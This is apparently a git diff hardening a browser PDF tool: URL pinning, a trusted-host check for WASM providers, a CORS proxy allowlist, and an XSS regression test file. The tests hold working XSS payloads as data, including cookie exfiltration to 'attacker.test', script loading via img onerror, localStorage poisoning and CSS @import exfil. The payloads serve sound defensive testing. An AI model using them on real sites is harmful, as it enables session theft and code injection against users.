return DOMPurify.sanitize(this.md.render(this.getContent()), {
|
||||
ADD_ATTR: ['target'],
|
||||
});
|
||||
}
|
||||
|
||||
private exportPdf(): void {
|
||||
|
||||
@@ -10,8 +10,8 @@ const STORAGE_KEY = 'bentopdf:wasm-providers';
|
||||
|
||||
const CDN_DEFAULTS: Record<WasmPackage, string> = {
|
||||
pymupdf: 'https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/',
|
||||
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/',
|
||||
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf/dist/',
|
||||
ghostscript: 'https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/',
|
||||
cpdf: 'https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/',
|
||||
};
|
||||
|
||||
function envOrDefault(envVar: string | undefined, fallback: string): string {
|
||||
@@ -30,20 +30,77 @@ const ENV_DEFAULTS: Record<WasmPackage, string> = {
|
||||
cpdf: envOrDefault(import.meta.env.VITE_WASM_CPDF_URL, CDN_DEFAULTS.cpdf),
|
||||
};
|
||||
|
||||
function hostnameOf(url: string): string | null {
|
||||
try {
|
||||
return new URL(url).hostname;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function collectBuiltinTrustedHosts(): Set<string> {
|
||||
const hosts = new Set<string>();
|
||||
if (typeof location !== 'undefined' && location.hostname) {
|
||||
hosts.add(location.hostname);
|
||||
}
|
||||
for (const url of Object.values(CDN_DEFAULTS)) {
|
||||
const h = hostnameOf(url);
|
||||
if (h) hosts.add(h);
|
||||
}
|
||||
for (const url of Object.values(ENV_DEFAULTS)) {
|
||||
const h = hostnameOf(url);
|
||||
if (h) hosts.add(h);
|
||||
}
|
||||
return hosts;
|
||||
}
|
||||
|
||||
const BUILTIN_TRUSTED_HOSTS = collectBuiltinTrustedHosts();
|
||||
|
||||
class WasmProviderManager {
|
||||
private config: WasmProviderConfig;
|
||||
private validationCache: Map<WasmPackage, boolean> = new Map();
|
||||
private trustedHosts: Set<string> = new Set<string>(BUILTIN_TRUSTED_HOSTS);
|
||||
|
||||
constructor() {
|
||||
this.config = this.loadConfig();
|
||||
}
|
||||
|
||||
private isTrustedUrl(url: string): boolean {
|
||||
const host = hostnameOf(url);
|
||||
return !!host && this.trustedHosts.has(host);
|
||||
}
|
||||
|
||||
private loadConfig(): WasmProviderConfig {
|
||||
try {
|
||||
const stored = localStorage.getItem(STORAGE_KEY);
|
||||
if (stored) {
|
||||
return JSON.parse(stored);
|
||||
if (!stored) return {};
|
||||
const parsed = JSON.parse(stored) as WasmProviderConfig;
|
||||
const safe: WasmProviderConfig = {};
|
||||
let dropped = false;
|
||||
for (const key of ['pymupdf', 'ghostscript', 'cpdf'] as WasmPackage[]) {
|
||||
const url = parsed[key];
|
||||
if (typeof url !== 'string') continue;
|
||||
if (this.isTrustedUrl(url)) {
|
||||
safe[key] = url;
|
||||
} else {
|
||||
dropped = true;
|
||||
console.warn(
|
||||
`[WasmProvider] Ignoring untrusted stored URL for ${key}: ${url}. ` +
|
||||
'Reconfigure via Advanced Settings to re-enable.'
|
||||
);
|
||||
}
|
||||
}
|
||||
if (dropped) {
|
||||
try {
|
||||
localStorage.setItem(STORAGE_KEY, JSON.stringify(safe));
|
||||
} catch (e) {
|
||||
console.error(
|
||||
'[WasmProvider] Failed to scrub untrusted config from localStorage:',
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
return safe;
|
||||
} catch (e) {
|
||||
console.warn(
|
||||
'[WasmProvider] Failed to load config from localStorage:',
|
||||
@@ -66,11 +123,23 @@ class WasmProviderManager {
|
||||
}
|
||||
|
||||
getUrl(packageName: WasmPackage): string | undefined {
|
||||
return this.config[packageName] || this.getEnvDefault(packageName);
|
||||
const stored = this.config[packageName];
|
||||
if (stored) {
|
||||
if (this.isTrustedUrl(stored)) return stored;
|
||||
console.warn(
|
||||
`[WasmProvider] Refusing to use untrusted URL for ${packageName}; falling back to env default.`
|
||||
);
|
||||
}
|
||||
return this.getEnvDefault(packageName);
|
||||
}
|
||||
|
||||
setUrl(packageName: WasmPackage, url: string): void {
|
||||
const normalizedUrl = url.endsWith('/') ? url : `${url}/`;
|
||||
const host = hostnameOf(normalizedUrl);
|
||||
if (!host) {
|
||||
throw new Error('Invalid URL');
|
||||
}
|
||||
this.trustedHosts.add(host);
|
||||
this.config[packageName] = normalizedUrl;
|
||||
this.validationCache.delete(packageName);
|
||||
this.saveConfig();
|
||||
@@ -219,6 +288,7 @@ class WasmProviderManager {
|
||||
clearAll(): void {
|
||||
this.config = {};
|
||||
this.validationCache.clear();
|
||||
this.trustedHosts = new Set<string>(BUILTIN_TRUSTED_HOSTS);
|
||||
try {
|
||||
localStorage.removeItem(STORAGE_KEY);
|
||||
} catch (e) {
|
||||
|
||||
@@ -375,7 +375,6 @@
|
||||
<div
|
||||
id="upload-area"
|
||||
class="hidden border-2 border-dashed border-gray-600 rounded-lg p-6 sm:p-12 text-center max-w-full cursor-pointer"
|
||||
onclick="document.getElementById('pdf-file-input').click()"
|
||||
>
|
||||
<i
|
||||
data-lucide="upload-cloud"
|
||||
@@ -401,10 +400,7 @@
|
||||
class="hidden"
|
||||
/>
|
||||
<button
|
||||
onclick="
|
||||
event.stopPropagation();
|
||||
document.getElementById('pdf-file-input').click();
|
||||
"
|
||||
id="pdf-file-input-select-btn"
|
||||
class="bg-indigo-600 hover:bg-indigo-700 text-white px-4 sm:px-6 py-2 rounded text-sm sm:text-base"
|
||||
data-i18n="multiTool.selectFiles"
|
||||
>
|
||||
|
||||
@@ -218,9 +218,7 @@
|
||||
</h3>
|
||||
<p id="alert-message" class="text-gray-300 mb-6"></p>
|
||||
<button
|
||||
onclick="
|
||||
document.getElementById('alert-modal').classList.add('hidden')
|
||||
"
|
||||
id="alert-ok"
|
||||
class="w-full bg-indigo-600 hover:bg-indigo-700 text-white font-semibold py-2 px-4 rounded-lg transition-colors duration-200"
|
||||
>
|
||||
OK
|
||||
|
||||
@@ -191,10 +191,10 @@
|
||||
<span class="text-xs text-gray-500">Recommended:</span>
|
||||
<code
|
||||
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
|
||||
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/</code
|
||||
>https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/</code
|
||||
>
|
||||
<button
|
||||
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/"
|
||||
data-copy="https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/"
|
||||
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
@@ -238,10 +238,10 @@
|
||||
<span class="text-xs text-gray-500">Recommended:</span>
|
||||
<code
|
||||
class="text-xs text-indigo-400 bg-gray-800 px-2 py-1 rounded flex-1 truncate"
|
||||
>https://cdn.jsdelivr.net/npm/coherentpdf/dist/</code
|
||||
>https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/</code
|
||||
>
|
||||
<button
|
||||
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf/dist/"
|
||||
data-copy="https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/"
|
||||
class="copy-btn p-1.5 bg-gray-600 hover:bg-gray-500 rounded text-gray-300 hover:text-white transition-colors"
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
|
||||
365
src/tests/xss-replay.test.ts
Normal file
365
src/tests/xss-replay.test.ts
Normal file
@@ -0,0 +1,365 @@
|
||||
import { describe, it, expect, beforeEach, vi } from 'vitest';
|
||||
import MarkdownIt from 'markdown-it';
|
||||
import DOMPurify from 'dompurify';
|
||||
import forge from 'node-forge';
|
||||
import { escapeHtml, sanitizeEmailHtml } from '../js/utils/helpers';
|
||||
import { validateSignature } from '../js/logic/validate-signature-pdf';
|
||||
import type { ExtractedSignature } from '@/types';
|
||||
|
||||
function renderAsPreviewWould(markdown: string): string {
|
||||
const md = new MarkdownIt({
|
||||
html: true,
|
||||
breaks: false,
|
||||
linkify: true,
|
||||
typographer: true,
|
||||
});
|
||||
const raw = md.render(markdown);
|
||||
return DOMPurify.sanitize(raw, { ADD_ATTR: ['target'] });
|
||||
}
|
||||
|
||||
function assertNoExecutableContent(html: string) {
|
||||
const doc = document.implementation.createHTMLDocument('x');
|
||||
const root = doc.createElement('div');
|
||||
root.innerHTML = html;
|
||||
doc.body.appendChild(root);
|
||||
|
||||
const all = root.querySelectorAll('*');
|
||||
|
||||
expect(
|
||||
root.querySelector('script'),
|
||||
`<script> survived:\n${html}`
|
||||
).toBeNull();
|
||||
|
||||
for (const el of Array.from(all)) {
|
||||
for (const attr of Array.from(el.attributes)) {
|
||||
expect(
|
||||
/^on/i.test(attr.name),
|
||||
`Element <${el.tagName.toLowerCase()}> has event handler ${attr.name}="${attr.value}" from:\n${html}`
|
||||
).toBe(false);
|
||||
if (
|
||||
['href', 'src', 'xlink:href', 'formaction', 'action'].includes(
|
||||
attr.name.toLowerCase()
|
||||
)
|
||||
) {
|
||||
expect(
|
||||
/^\s*javascript:/i.test(attr.value),
|
||||
`Element <${el.tagName.toLowerCase()}> has ${attr.name}="${attr.value}" from:\n${html}`
|
||||
).toBe(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const iframes = root.querySelectorAll('iframe[srcdoc]');
|
||||
expect(iframes.length, `<iframe srcdoc> survived:\n${html}`).toBe(0);
|
||||
}
|
||||
|
||||
describe('XSS replay — Markdown-to-PDF preview path', () => {
|
||||
it('neutralizes the exact payload from the security report', () => {
|
||||
const payload = `# Quarterly Financial Report Q1 2026
|
||||
|
||||
## Executive Summary
|
||||
|
||||
Revenue growth exceeded expectations at 12.3% YoY.
|
||||
|
||||
<img src=x onerror="var s=document.createElement('script');s.src='http://127.0.0.1:9999/payload.js';document.head.appendChild(s)">
|
||||
|
||||
## Outlook
|
||||
|
||||
Management maintains FY2026 guidance.
|
||||
`;
|
||||
const html = renderAsPreviewWould(payload);
|
||||
assertNoExecutableContent(html);
|
||||
const doc = document.implementation.createHTMLDocument('x');
|
||||
const root = doc.createElement('div');
|
||||
root.innerHTML = html;
|
||||
const img = root.querySelector('img');
|
||||
expect(img).not.toBeNull();
|
||||
expect(img?.getAttribute('onerror')).toBeNull();
|
||||
});
|
||||
|
||||
it('strips <script> tags from raw markdown', () => {
|
||||
const html = renderAsPreviewWould(`<script>alert(1)</script>`);
|
||||
assertNoExecutableContent(html);
|
||||
});
|
||||
|
||||
it('strips event-handler attributes from every HTML tag markdown-it passes through', () => {
|
||||
const html = renderAsPreviewWould(`
|
||||
<svg onload="alert(1)"><text>x</text></svg>
|
||||
<details ontoggle="alert(1)" open><summary>x</summary></details>
|
||||
<body onfocus="alert(1)">
|
||||
<input autofocus onfocus="alert(1)">
|
||||
<video autoplay onloadstart="alert(1)"><source src=x></video>
|
||||
<iframe srcdoc="<script>alert(1)</script>"></iframe>
|
||||
<form><button formaction="javascript:alert(1)">x</button></form>
|
||||
`);
|
||||
assertNoExecutableContent(html);
|
||||
});
|
||||
|
||||
it('blocks javascript: href on plain markdown links', () => {
|
||||
const html = renderAsPreviewWould('[click me](javascript:alert(1))');
|
||||
assertNoExecutableContent(html);
|
||||
});
|
||||
|
||||
it('blocks data: URLs in script contexts but preserves data: in images', () => {
|
||||
const html = renderAsPreviewWould(
|
||||
`\n<script src="data:text/javascript,alert(1)"></script>`
|
||||
);
|
||||
assertNoExecutableContent(html);
|
||||
expect(html).toContain('src="data:image/png');
|
||||
});
|
||||
|
||||
it('defeats attribute-injection via quote-breakout in markdown link titles', () => {
|
||||
const html = renderAsPreviewWould(
|
||||
'[x](https://example.com "a\\" onmouseover=alert(1) x=\\"")'
|
||||
);
|
||||
assertNoExecutableContent(html);
|
||||
});
|
||||
|
||||
it('mermaid click directive with javascript: is stripped by SVG sanitizer', () => {
|
||||
const evilSvg = `<svg xmlns="http://www.w3.org/2000/svg">
|
||||
<a href="javascript:alert('mermaid click')"><rect width="10" height="10"/></a>
|
||||
<g onclick="alert(1)"><text>label</text></g>
|
||||
<foreignObject><body><img src=x onerror="alert(1)"></body></foreignObject>
|
||||
<script>alert(1)</script>
|
||||
</svg>`;
|
||||
const clean = DOMPurify.sanitize(evilSvg, {
|
||||
USE_PROFILES: { svg: true, svgFilters: true },
|
||||
});
|
||||
assertNoExecutableContent(clean);
|
||||
expect(clean).not.toMatch(/javascript:/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe('XSS replay — filename sink', () => {
|
||||
it('escapeHtml neutralizes an attacker-supplied .pdf filename before it reaches innerHTML', () => {
|
||||
const evilName = `<img src=x onerror="fetch('https://attacker.test/steal?d=' + btoa(document.cookie))">.pdf`;
|
||||
const rendered = `<p class="truncate font-medium text-white">${escapeHtml(evilName)}</p>`;
|
||||
const host = document.createElement('div');
|
||||
host.innerHTML = rendered;
|
||||
expect(host.querySelector('img')).toBeNull();
|
||||
expect(host.textContent).toContain(evilName);
|
||||
});
|
||||
|
||||
it('createElement + textContent neutralizes the same payload (deskew/form-filler path)', () => {
|
||||
const evilName = `<img src=x onerror="alert(1)">.pdf`;
|
||||
const host = document.createElement('div');
|
||||
const span = document.createElement('span');
|
||||
span.textContent = evilName;
|
||||
host.appendChild(span);
|
||||
expect(host.querySelector('img')).toBeNull();
|
||||
expect(span.textContent).toBe(evilName);
|
||||
});
|
||||
});
|
||||
|
||||
describe('XSS replay — WASM provider localStorage poisoning', () => {
|
||||
beforeEach(() => {
|
||||
localStorage.clear();
|
||||
});
|
||||
|
||||
it('the exact PoC payload writes attacker URLs to localStorage — audit the key shape', () => {
|
||||
const wasmPayload = {
|
||||
pymupdf: 'https://attacker.test/wasm/pymupdf/',
|
||||
ghostscript: 'https://attacker.test/wasm/gs/',
|
||||
cpdf: 'https://attacker.test/wasm/cpdf/',
|
||||
};
|
||||
localStorage.setItem(
|
||||
'bentopdf:wasm-providers',
|
||||
JSON.stringify(wasmPayload)
|
||||
);
|
||||
|
||||
const stored = localStorage.getItem('bentopdf:wasm-providers');
|
||||
expect(stored).toContain('attacker.test');
|
||||
});
|
||||
|
||||
it('WasmProvider scrubs the untrusted URLs on load and falls back to env defaults', async () => {
|
||||
localStorage.setItem(
|
||||
'bentopdf:wasm-providers',
|
||||
JSON.stringify({
|
||||
pymupdf: 'https://attacker.test/wasm/pymupdf/',
|
||||
ghostscript: 'https://attacker.test/wasm/gs/',
|
||||
cpdf: 'https://attacker.test/wasm/cpdf/',
|
||||
})
|
||||
);
|
||||
|
||||
vi.resetModules();
|
||||
const { WasmProvider } = await import('../js/utils/wasm-provider');
|
||||
|
||||
const got = WasmProvider.getUrl('pymupdf');
|
||||
expect(got).not.toContain('attacker.test');
|
||||
expect(got).toMatch(/cdn\.jsdelivr\.net|^https?:\/\/[^/]+\//);
|
||||
|
||||
const remaining = JSON.parse(
|
||||
localStorage.getItem('bentopdf:wasm-providers') || '{}'
|
||||
);
|
||||
expect(remaining.pymupdf).toBeUndefined();
|
||||
expect(remaining.ghostscript).toBeUndefined();
|
||||
expect(remaining.cpdf).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe('XSS replay — CDN URL version pinning', () => {
|
||||
it('every WASM CDN default URL is pinned to an exact patch version', async () => {
|
||||
const { WasmProvider } = await import('../js/utils/wasm-provider');
|
||||
const urls = WasmProvider.getAllProviders();
|
||||
for (const [pkg, url] of Object.entries(urls)) {
|
||||
if (!url) continue;
|
||||
if (!url.includes('cdn.jsdelivr.net')) continue;
|
||||
expect(
|
||||
/@\d+\.\d+\.\d+/.test(url),
|
||||
`${pkg} URL "${url}" must be pinned to an exact version (e.g. pkg@1.2.3)`
|
||||
).toBe(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('XSS replay — sanitizeEmailHtml (DOMPurify-backed)', () => {
|
||||
it('strips <script> tags and event handlers that a regex sanitizer would miss', () => {
|
||||
const mutationPayloads = [
|
||||
'<scr<script>ipt>alert(1)</scr</script>ipt>',
|
||||
'<img/src=x/onerror=alert(1)>',
|
||||
'<svg><animate onbegin=alert(1) attributeName=x /></svg>',
|
||||
'<math><mo><a href=javascript:alert(1)>x</a></mo></math>',
|
||||
'<iframe src="javascript:alert(1)"></iframe>',
|
||||
'<object data="javascript:alert(1)"></object>',
|
||||
'<embed src="javascript:alert(1)">',
|
||||
];
|
||||
for (const raw of mutationPayloads) {
|
||||
const out = sanitizeEmailHtml(raw);
|
||||
const doc = document.implementation.createHTMLDocument('x');
|
||||
const root = doc.createElement('div');
|
||||
root.innerHTML = out;
|
||||
expect(
|
||||
root.querySelector('script, iframe, object, embed, link'),
|
||||
`mutation payload survived: ${raw}\n-> ${out}`
|
||||
).toBeNull();
|
||||
for (const el of Array.from(root.querySelectorAll('*'))) {
|
||||
for (const attr of Array.from(el.attributes)) {
|
||||
expect(/^on/i.test(attr.name), `event handler survived: ${raw}`).toBe(
|
||||
false
|
||||
);
|
||||
if (
|
||||
['href', 'src'].includes(attr.name.toLowerCase()) &&
|
||||
/^\s*javascript:/i.test(attr.value)
|
||||
) {
|
||||
throw new Error(`javascript: URL survived: ${raw}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('strips <style> and <link> to avoid @import / external stylesheet exfil', () => {
|
||||
const out = sanitizeEmailHtml(
|
||||
'<html><head><style>@import url(http://attacker/steal);</style><link rel=stylesheet href=http://attacker></head><body>hi</body></html>'
|
||||
);
|
||||
expect(out).not.toMatch(/@import/i);
|
||||
expect(out.toLowerCase()).not.toContain('<style');
|
||||
expect(out.toLowerCase()).not.toContain('<link');
|
||||
});
|
||||
});
|
||||
|
||||
describe('XSS replay — PDF signature cryptographic verification', () => {
|
||||
function buildSignedPdf(digestAlgorithm: string = forge.pki.oids.sha256): {
|
||||
pdfBytes: Uint8Array;
|
||||
byteRange: number[];
|
||||
p7Der: Uint8Array;
|
||||
} {
|
||||
const keys = forge.pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
|
||||
const cert = forge.pki.createCertificate();
|
||||
cert.publicKey = keys.publicKey;
|
||||
cert.serialNumber = '01';
|
||||
const attrs = [
|
||||
{ name: 'commonName', value: 'Test Signer' },
|
||||
{ name: 'countryName', value: 'US' },
|
||||
];
|
||||
cert.setSubject(attrs);
|
||||
cert.setIssuer(attrs);
|
||||
cert.validity.notBefore = new Date(Date.now() - 86400000);
|
||||
cert.validity.notAfter = new Date(Date.now() + 365 * 86400000);
|
||||
cert.sign(keys.privateKey, forge.md.sha256.create());
|
||||
|
||||
const contentBefore = '%PDF-1.4\nsigned content A\n';
|
||||
const contentAfter = '\nsigned content B\n%%EOF\n';
|
||||
const placeholderLen = 0;
|
||||
|
||||
const signedContent = new TextEncoder().encode(
|
||||
contentBefore + contentAfter
|
||||
);
|
||||
|
||||
const p7 = forge.pkcs7.createSignedData();
|
||||
p7.content = forge.util.createBuffer(String.fromCharCode(...signedContent));
|
||||
p7.addCertificate(cert);
|
||||
p7.addSigner({
|
||||
key: keys.privateKey,
|
||||
certificate: cert,
|
||||
digestAlgorithm,
|
||||
authenticatedAttributes: [
|
||||
{ type: forge.pki.oids.contentType, value: forge.pki.oids.data },
|
||||
{ type: forge.pki.oids.messageDigest },
|
||||
// @ts-expect-error runtime accepts Date, type defs say string
|
||||
{ type: forge.pki.oids.signingTime, value: new Date() },
|
||||
],
|
||||
});
|
||||
p7.sign({ detached: true });
|
||||
const p7Asn1 = p7.toAsn1();
|
||||
const p7Der = forge.asn1.toDer(p7Asn1).getBytes();
|
||||
const p7Bytes = new Uint8Array(p7Der.length);
|
||||
for (let i = 0; i < p7Der.length; i++) p7Bytes[i] = p7Der.charCodeAt(i);
|
||||
|
||||
const beforeBytes = new TextEncoder().encode(contentBefore);
|
||||
const afterBytes = new TextEncoder().encode(contentAfter);
|
||||
const pdfBytes = new Uint8Array(
|
||||
beforeBytes.length + afterBytes.length + placeholderLen
|
||||
);
|
||||
pdfBytes.set(beforeBytes, 0);
|
||||
pdfBytes.set(afterBytes, beforeBytes.length);
|
||||
const byteRange = [
|
||||
0,
|
||||
beforeBytes.length,
|
||||
beforeBytes.length + placeholderLen,
|
||||
afterBytes.length,
|
||||
];
|
||||
return { pdfBytes, byteRange, p7Der: p7Bytes };
|
||||
}
|
||||
|
||||
it('flags untouched signed bytes as cryptoVerified=true', async () => {
|
||||
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
|
||||
const sig: ExtractedSignature = {
|
||||
index: 0,
|
||||
contents: p7Der,
|
||||
byteRange,
|
||||
};
|
||||
const result = await validateSignature(sig, pdfBytes);
|
||||
expect(result.cryptoVerified).toBe(true);
|
||||
expect(result.errorMessage).toBeUndefined();
|
||||
});
|
||||
|
||||
it('flips a byte inside the signed range → cryptoVerified=false and isValid=false', async () => {
|
||||
const { pdfBytes, byteRange, p7Der } = buildSignedPdf();
|
||||
const tampered = new Uint8Array(pdfBytes);
|
||||
tampered[10] ^= 0xff;
|
||||
const sig: ExtractedSignature = {
|
||||
index: 0,
|
||||
contents: p7Der,
|
||||
byteRange,
|
||||
};
|
||||
const result = await validateSignature(sig, tampered);
|
||||
expect(result.cryptoVerified).toBe(false);
|
||||
expect(result.isValid).toBe(false);
|
||||
expect(result.errorMessage).toMatch(
|
||||
/hash does not match|does not verify|PDF was modified/i
|
||||
);
|
||||
});
|
||||
|
||||
it('refuses MD5 as the digest algorithm even when bytes match', async () => {
|
||||
const { pdfBytes, byteRange, p7Der } = buildSignedPdf(forge.pki.oids.md5);
|
||||
const sig: ExtractedSignature = {
|
||||
index: 0,
|
||||
contents: p7Der,
|
||||
byteRange,
|
||||
};
|
||||
const result = await validateSignature(sig, pdfBytes);
|
||||
expect(result.usesInsecureDigest).toBe(true);
|
||||
expect(result.isValid).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -202,6 +202,47 @@ function createLanguageMiddleware(isDev: boolean): Connect.NextHandleFunction {
|
||||
};
|
||||
}
|
||||
|
||||
function buildCorsProxyAllowedHosts(): Set<string> {
|
||||
const hosts = new Set<string>([
|
||||
'cdn.jsdelivr.net',
|
||||
'fonts.googleapis.com',
|
||||
'fonts.gstatic.com',
|
||||
'bentopdf-cors-proxy.bentopdf.workers.dev',
|
||||
]);
|
||||
|
||||
const envHostSources = [
|
||||
process.env.VITE_CORS_PROXY_URL,
|
||||
process.env.VITE_WASM_PYMUPDF_URL,
|
||||
process.env.VITE_WASM_GS_URL,
|
||||
process.env.VITE_WASM_CPDF_URL,
|
||||
process.env.VITE_TESSERACT_WORKER_URL,
|
||||
process.env.VITE_TESSERACT_CORE_URL,
|
||||
process.env.VITE_TESSERACT_LANG_URL,
|
||||
process.env.VITE_OCR_FONT_BASE_URL,
|
||||
];
|
||||
for (const raw of envHostSources) {
|
||||
if (!raw) continue;
|
||||
try {
|
||||
hosts.add(new URL(raw).hostname);
|
||||
} catch {
|
||||
console.warn(
|
||||
`[vite] Ignoring malformed VITE_* URL in dev CORS proxy allowlist: ${raw}`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const extra = process.env.VITE_DEV_CORS_PROXY_EXTRA_HOSTS;
|
||||
if (extra) {
|
||||
for (const host of extra.split(',').map((s) => s.trim())) {
|
||||
if (host) hosts.add(host);
|
||||
}
|
||||
}
|
||||
|
||||
return hosts;
|
||||
}
|
||||
|
||||
const CORS_PROXY_ALLOWED_HOSTS = buildCorsProxyAllowedHosts();
|
||||
|
||||
function createCorsProxyMiddleware(): Connect.NextHandleFunction {
|
||||
return (
|
||||
req: IncomingMessage,
|
||||
@@ -227,6 +268,31 @@ function createCorsProxyMiddleware(): Connect.NextHandleFunction {
|
||||
return;
|
||||
}
|
||||
|
||||
let targetHost: string;
|
||||
let targetProtocol: string;
|
||||
try {
|
||||
const parsedTarget = new URL(targetUrl);
|
||||
targetHost = parsedTarget.hostname;
|
||||
targetProtocol = parsedTarget.protocol;
|
||||
} catch {
|
||||
res.statusCode = 400;
|
||||
res.end('Invalid url parameter');
|
||||
return;
|
||||
}
|
||||
|
||||
if (targetProtocol !== 'https:' && targetProtocol !== 'http:') {
|
||||
res.statusCode = 400;
|
||||
res.end('Unsupported protocol');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!CORS_PROXY_ALLOWED_HOSTS.has(targetHost)) {
|
||||
console.warn(`[CORS Proxy] Blocked disallowed host: ${targetHost}`);
|
||||
res.statusCode = 403;
|
||||
res.end(`Host not allowed: ${targetHost}`);
|
||||
return;
|
||||
}
|
||||
|
||||
console.log(`[CORS Proxy] ${req.method} ${targetUrl}`);
|
||||
|
||||
const bodyChunks: Buffer[] = [];
|
||||
@@ -442,7 +508,7 @@ export default defineConfig(() => {
|
||||
exclude: ['coherentpdf', 'wasm-vips'],
|
||||
},
|
||||
server: {
|
||||
host: true,
|
||||
host: process.env.VITE_DEV_HOST || 'localhost',
|
||||
headers: {
|
||||
'Cross-Origin-Opener-Policy': 'same-origin',
|
||||
'Cross-Origin-Embedder-Policy': 'require-corp',
|
||||
|
||||
Reference in New Issue
Block a user